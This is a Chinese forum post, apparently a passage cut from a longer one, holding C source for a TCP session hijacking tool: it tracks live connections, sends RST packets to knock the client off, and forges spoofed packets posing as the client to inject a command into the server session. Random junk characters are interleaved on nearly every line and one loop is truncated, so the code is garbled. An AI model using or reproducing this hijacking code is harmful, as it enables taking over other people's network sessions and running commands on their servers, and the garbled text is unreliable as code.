- 在线时间
- 0 小时
- 最后登录
- 2007-9-23
- 注册时间
- 2004-9-10
- 听众数
- 3
- 收听数
- 0
- 能力
- 0 分
- 体力
- 9975 点
- 威望
- 7 点
- 阅读权限
- 150
- 积分
- 4048
- 相册
- 0
- 日志
- 0
- 记录
- 0
- 帖子
- 1893
- 主题
- 823
- 精华
- 2
- 分享
- 0
- 好友
- 0

我的地盘我做主
该用户从未签到
|
pTCPPacket->iphdr.sourceIP, pTCPPacket->tcphdr.th_sport, TRUE, FALSE); % \$ _" k, R1 J4 y" P3 w, Y
//reset action flag 4 a1 X! G" S& Y5 Y8 r
ResetActionAllFlag(); : t4 a, q: t* r7 P% C" B( J' j- n
}
, e2 z2 U% O6 c# c1 h; L9 B0 h //start hijack / {0 V; y2 ~/ ^4 f; P2 B4 r: W
else if(g_dwAction == ACTION_HIJACK)
/ X1 ]# P1 c( I8 \3 W# x/ x' ~6 @/ r { ) H% L( c" G" o' x' \/ j: ~6 i
//send rst packet to client
: I' }. O. f$ M! Q SendRstPacket(pTCPPacket->tcphdr.th_ack, pTCPPacket->tcphdr.th_seq);
& t, J6 Q$ n+ ^% A; g //send hijack packet to client ! A1 W/ h" ~4 A+ v8 }$ v
SendHiJackPacket(pTCPPacket);
7 w* s8 X+ A' k' M //reset action flag ! v x1 s4 {, x
ResetActionAllFlag(); / S5 o; u' g) P4 z
}
1 K/ |8 r- l2 v" {" e5 e; o% _ }
b. x b- c$ h1 W" D //show the tcp data
' a# \% `1 U E! n if( (g_dwAction == ACTION_WATCH) && (usDataLen) ) " Y7 e: H) M; V$ u+ h" d& ~" K
{ ' v; |: n1 v: E
ShowPacketMoreInfo(pTCPPacket, usDataLen, FALSE);
6 @5 t; e) f8 v1 i- d: d; W h" v //暂不考虑IP、TCP头不是20字节的情况
) G7 l7 A/ v3 x- T* l: ?5 J //pStr = (char *)pTCPPacket + sizeof(EHHDR) + usIPHeadLen + usTCPHeadLen;
! k5 x3 T t; x% y( H pStr = (char *)pTCPPacket + 54; & X8 l0 M: u2 D+ ^' u3 x! c6 u
for(i=0; i } ; x4 f0 J& D i1 b
}
: r E* l/ M4 r& {! { //debug output 9 W; m$ m9 W3 M1 i. f6 \, D8 ^
//ShowPacketMoreInfo(pTCPPacket, usDataLen, TRUE);
" W# Q! q3 e+ f ? e; E }//end of analyse packets while 1 q/ ^! ?6 l" [& Y9 S p
}//end of recv packets while
3 _" O$ A5 G" w2 O+ I PacketFreePacket(lpRecvPacket); - u. l3 F4 p W$ H' d' x4 R
return 0;
9 H: i$ _* |) g% G} 9 Z! P$ {' w/ r, H/ Z
: D9 K* p( \5 x( e& @
* N, |2 a$ q( ^) K8 n
// % o; `- d" G8 g, C# _5 v
//功能:操作记录所有连接信息的单向链表
: m) H! m0 @, C4 N// 7 y! ~9 j6 P+ B3 P
DWORD CtrlConnInfoLink(DWORD dwServerIP, USHORT uServerPort, DWORD dwClientIP, * M: I% S( b6 C" n a6 t z
USHORT uClientPort, BOOL bDelete, BOOL bAddNew)
" j7 e# f" U0 ?8 }{ ' b2 ^& l' o" s- E" }
PCONNINFO pNew, pTmp; 4 K! a0 }, y8 ~5 G9 w' e* i E6 ^
. @, g$ a* h' K8 P pTmp = g_pConnHead;
$ ~9 L8 v3 q, R3 Y( l3 x while(pTmp)
2 d6 Y3 c( n& A% r" ~ { 1 \) N9 v8 z: A" K* K2 |( n
if(pTmp->bActive)
5 R( I+ [. s. V6 d( k0 |, [ {
0 X: d# P& _& V0 }# M; h1 \7 n //found it
0 T, k, q1 h9 T6 K if( (pTmp->dwServerIP == dwServerIP) &&
0 z q" @/ x6 l s2 B1 l2 N H1 n: S (pTmp->uServerPort == uServerPort) && $ x- @2 } Y, j. S. c4 V
(pTmp->dwClientIP == dwClientIP) && , n$ a+ k+ L6 O, U5 A
(pTmp->uClientPort == uClientPort) ) ; j7 o6 j/ u1 j& y
{
$ K$ t- T! s2 |' k if(bDelete)
& u6 ~& j3 S9 @* X+ X { , F7 E5 b; A. z, Y2 k
pTmp->bActive = FALSE;
6 x- h- B* j$ Z" ?+ R" D return 0; ) n/ w' n* s( V2 L* H
} ' v$ H/ O. h5 \" a. U$ ]
else return pTmp->ident; , K, r: D$ ^0 n/ h; e. S6 j
} " H& u: Z- P, k* z! ]: H r. N" q2 m$ A: o
}
9 j: }1 W* S d* y2 i pTmp = pTmp->Next;
, y4 Y/ S6 W8 R1 W& j( B! Q- M# Q! Y }
' |' m8 M0 `2 a) ^/ v0 ~ //not found, create new node
' X$ D2 w* y% a# \! x* ^ if( (!pTmp) && (!bDelete) && (bAddNew) ) ( p; ~8 Q" V( T# J
{ ' S* p: c% g" |
//search unactive note
, j) N! P( D- C1 H pTmp = g_pConnHead;
- c3 N+ \6 \& E# ~ while(pTmp)
5 ~$ I) I1 y' {4 Q, j" Z% H {
, ^ A, M1 O$ |% Q if(!pTmp->bActive) break; ) o0 y! B4 E! p L3 j# v. h; r9 v& L9 p) }
pTmp = pTmp->Next;
) R! ^ n' Y$ X, U W( [ s, ~ } + U% O5 l# P/ e
//found a unactive node % Z6 H* L- E) I* m0 d! o+ d$ [
if(pTmp)
, N: \; ~0 e9 B* G& |% C {
, K' U/ P. ^7 i- ~0 ]1 U1 b pTmp->dwServerIP = dwServerIP;
& `: I+ a& c, b" i% X$ a pTmp->uServerPort = uServerPort; 2 h q5 L2 s8 h" R0 k; J# E
pTmp->dwClientIP = dwClientIP;
4 k; d/ P5 X$ I pTmp->uClientPort = uClientPort;
4 Z8 I. `, u% d- Y7 b pTmp->bActive = TRUE; ! o3 z& G& S+ f1 Q! D t
return pTmp->ident; / Q+ b7 e6 P2 w" F- p
}
4 X- A- n) s( {7 s3 m% | //not found,create new node D3 M1 a- ]6 I* R1 t8 D# A
pNew = (PCONNINFO)malloc(sizeof(CONNINFO)); ! r" P* A* f0 `: ?% J+ A2 h
if(!pNew) # I- E9 T1 K7 v8 d- j( V, v
{
, B; F6 V8 ?7 O9 f0 o: [2 \ printf("malloc for link node error:%d\n", GetLastError());
( ?! v5 c! {- V; j7 h3 ^- A return 0;
8 o5 D" `6 F& u/ \: G4 i f } " d# m3 K; v5 f0 L, f$ q& |" L$ p
//fill the struct & P ]& }! Z( Q f! V' B$ y) g
pNew->bActive = TRUE; 5 g* K/ a( \, \- S, T% b
pNew->dwServerIP = dwServerIP;
8 {" `1 s" W( T) _; b! C pNew->uServerPort = uServerPort;
$ e' b0 p% a) V( x pNew->dwClientIP = dwClientIP; : N/ ^5 K0 u7 s& P
pNew->uClientPort = uClientPort; K# i8 g! [. K7 O4 c
pNew->ident = ++g_ident; : ~7 f5 b" w. w K& Q& O, q% y
pNew->Next = NULL; 5 ?: U5 F3 i$ ~" D
//add new node to link
6 f) E8 C. z) i, ~0 F' J( O if(!g_pConnHead)
' A3 @ T3 j9 }. [ A2 j g_pConnHead = g_pConnLast = pNew; / m* B1 d: z! s$ n/ g+ t
else
" |1 O: Z' j0 r& l" [5 ` c4 d { / s% ~, [( J0 s4 E$ V m# w2 e8 {
g_pConnLast->Next = pNew; - E7 E/ g: v3 p9 z
g_pConnLast = pNew;
& t% J- Z1 C0 T. N J2 z7 x }
$ D- Z& S7 V8 P5 T" l" h1 _# |* R return pNew->ident;
1 l: P. h( A8 a0 V+ H }
+ y) I; K- t* {. n$ W5 Y return 0;
, e+ Q9 Z1 [0 ]0 Y' B# }} ' u0 a3 @; R' n! x; P
8 I7 o+ Z; z B+ `! n+ d//
% Z. v( u9 T( j% J3 C//功能:判断一个数据包是不是只有ACK标志 & H* {' l% I, F& ~# ~! b8 f6 m( d
//
, v/ J% Q7 _. ^3 l3 a8 L2 kBOOL IsACKPacket(unsigned char flag) , p3 W) y' c ~2 ^! [5 |
{
3 e" e, d- G# q* @ int i, j=1; 7 l6 I2 V' l' Y6 |8 n
for(i=0 ; i<4; i++) , G6 M$ `# f5 m" Q, H
{
) z4 _$ F/ d' d7 B7 i6 _ if(flag & j) return FALSE;
* v3 s0 l4 V) D( n j <<= 1; ; U8 s$ d' L0 C9 X$ b& Q3 A# I. J9 w3 M
}
% v' A9 x9 m/ E& c if(!(flag & 0x10)) return FALSE;//is ack? # b/ d. w1 v5 y d/ u: q- K0 M
if(flag & 0x20) return FALSE; 6 @, r) j7 ?# g! o9 x; [( x
return TRUE;
2 F4 L% b) I `- g8 `+ x} 4 u7 n6 k3 J3 l7 R( q2 n. ]
- w( o K5 |% N! a5 g) i6 k% r
// + m# @( W- s3 v9 h2 T
//功能:伪装成Client给Server发送数据包
+ F! P) L1 U+ y! p//
5 d8 \! V0 S( h$ ^BOOL SendHiJackPacket(PTCPPACKET pTempletPacket)
8 z0 @5 {' N( H e. o{
- k5 {! ]1 k, N
$ C2 ?. f$ k4 |& t- F7 } char szBuff[1520];
4 w. e) `; X* J2 z9 X PSDHDR psdhdr;
1 ]! K# V* t+ A5 `& \0 L1 f. B PTCPPACKET pHiJackPacket = NULL;
+ T0 G; _& T P BOOL bRet = FALSE;
) t- {5 P! H, M- n+ E( s5 Z8 j9 \9 v# X4 j
__try
# m4 ^& ]& p' D9 U { 2 N& C: ?7 R" r7 y1 P4 L# i; o/ ^
//
$ c) ~8 g7 t) p7 B if(!g_pCurrCtrlConn) __leave;
5 }! z; Q8 ^5 Z //allocate memory for hijack packet
' d( _) Q' i0 I2 j1 _ pHiJackPacket = (PTCPPACKET)malloc(sizeof(TCPPACKET)); 7 Q$ t9 P( {. x2 g# s; x4 ~
if(!pHiJackPacket)
# [- }% Y. J U' \' g {
, e+ c% F) x. J printf("malloc error:%d\n", GetLastError());
l* l/ o- t7 j/ u! o4 E2 J7 t __leave; $ c* }/ P; A8 C$ g
}
0 S6 U9 c. P f/ r+ f! j memcpy(pHiJackPacket, pTempletPacket, sizeof(TCPPACKET)); 6 _$ J: E" s7 F4 q( M1 D
//-------------- modify the packet ---------------// " M' @/ z9 x6 X3 J
//modify ethernet head # g) s0 P2 q& h' z) e/ w
memcpy(pHiJackPacket->ehhdr.DestMAC, g_szServerSideMAC, 6);
$ o/ p9 `: z r7 p; f1 {9 A memcpy(pHiJackPacket->ehhdr.SourceMAC, g_szOwnMAC, 6); 7 ^ m5 F: S: {% a
//modify ip head
K) b+ t* ~6 D" }& x# X6 W1 H U pHiJackPacket->iphdr.h_verlen = (4<<4 | sizeof(IPHDR)/sizeof(unsigned long));
- Z$ N8 N; N& E; Q2 g8 N pHiJackPacket->iphdr.total_len = htons(sizeof(IPHDR)+sizeof(TCPHDR)+strlen(g_szCommand)); , v- ^: }- H' J5 q
pHiJackPacket->iphdr.ident += 1;//标识加1
# Y2 j2 r; r- F/ W e" o% D pHiJackPacket->iphdr.checksum = 0; 2 [. x' U3 u8 \6 h" _' v
pHiJackPacket->iphdr.sourceIP = g_pCurrCtrlConn->dwClientIP;//源IP地址,伪装成client + t o4 j+ }' V. l& U1 z# G9 _1 N% S# J
pHiJackPacket->iphdr.destIP = g_pCurrCtrlConn->dwServerIP;//目的IP地址,接收hijack包的地址 + ^8 f. j8 A, I. o
//modify tcp head
9 V# n# v4 s$ B1 o' U. z9 b; V pHiJackPacket->tcphdr.th_sport = g_pCurrCtrlConn->uClientPort;//client's port
. y' e5 g' a0 f& [( q: H pHiJackPacket->tcphdr.th_dport = g_pCurrCtrlConn->uServerPort;//server's port
4 K1 J. E3 m% T pHiJackPacket->tcphdr.th_lenres = (sizeof(TCPHDR)/4 << 4 | 0); 7 F* d% w! H: p+ j% W/ S
pHiJackPacket->tcphdr.th_flag = 0x18;// PA ' O* C* b7 Y) f: q2 x* v
pHiJackPacket->tcphdr.th_sum = 0;
3 q8 u6 l4 W6 p* i5 W$ W3 D pHiJackPacket->tcphdr.th_win = 0x3F44; 1 _6 q0 D% J% Y+ |
//fill tcp psd head ' I% k3 R- X G* u6 Y
psdhdr.saddr = pHiJackPacket->iphdr.sourceIP; " `! V/ q& `1 b
psdhdr.daddr = pHiJackPacket->iphdr.destIP; - X% y; |% h3 n% ?. U# H
psdhdr.mbz = 0;
# p1 e3 X c k9 L! a) s, U psdhdr.ptcl = IPPROTO_TCP; 7 y9 H( \* ~# C5 ] s1 p' e
psdhdr.tcpl = htons(sizeof(TCPHDR) + strlen(g_szCommand));//tcp head + data len 3 ^" @3 A- X' u4 `! w
//calculate tcp checksum 8 c5 j# d3 h1 |% i n. ~/ L' t
memcpy(szBuff, &psdhdr, sizeof(PSDHDR)); / j$ E o# K& ]: g
memcpy(szBuff + sizeof(PSDHDR), &pHiJackPacket->tcphdr, sizeof(TCPHDR));
( V4 e/ D2 o. K3 D9 Y memcpy(szBuff + sizeof(PSDHDR) + sizeof(TCPHDR), g_szCommand, strlen(g_szCommand)); ; e2 `6 S% y* l1 n
pHiJackPacket->tcphdr.th_sum = checksum((USHORT *)szBuff, sizeof(PSDHDR) + sizeof(TCPHDR) + strlen(g_szCommand)); 2 q0 M; ^3 L8 E
//calculate IP checksum 1 B8 P: {* S5 g; C3 y0 I1 I
pHiJackPacket->iphdr.checksum = checksum((USHORT *)&pHiJackPacket->iphdr, sizeof(IPHDR)); * |/ V+ y1 m+ x$ O9 l* z( \* C
//fill send buffer : o# z _+ ^1 @0 _% B
memcpy(szBuff, (char *)pHiJackPacket, sizeof(TCPPACKET)); 2 r$ x6 t( p2 y; e A
memcpy(szBuff + sizeof(TCPPACKET), g_szCommand, strlen(g_szCommand)); 7 M0 g) ^3 V* ]/ Z3 v2 t
memset(szBuff + sizeof(TCPPACKET) + strlen(g_szCommand), 0, 4); : S) L! J7 Y8 X x" S+ z
memset(g_lpSendPacket->Buffer, 0, 1514);
2 Y' V/ `2 t+ `; W4 u/ A# X/ A memcpy(g_lpSendPacket->Buffer, szBuff, sizeof(TCPPACKET) + strlen(g_szCommand));
+ @; J1 n; @5 j; j9 M8 K if(PacketSendPacket(g_lpAdapter, g_lpSendPacket, TRUE) == FALSE)
6 L" B6 {: u* ~3 f {
% f) h1 {9 s( A( D( ]( E printf("Error sending the hijack packets!\n"); 0 i# \* Q; Q5 A* o. E9 f; I$ t
__leave;
; \6 q# w' Q+ t! ?2 q1 V( ?' E6 u }
3 }( O- {" J6 y9 K% |& u3 O; [ else printf("Send hijack packet ok!\n"); 9 ?. W( T& b. b
bRet = TRUE; 3 N4 e2 w% F# ~# f- ^2 \. b$ e
} |
|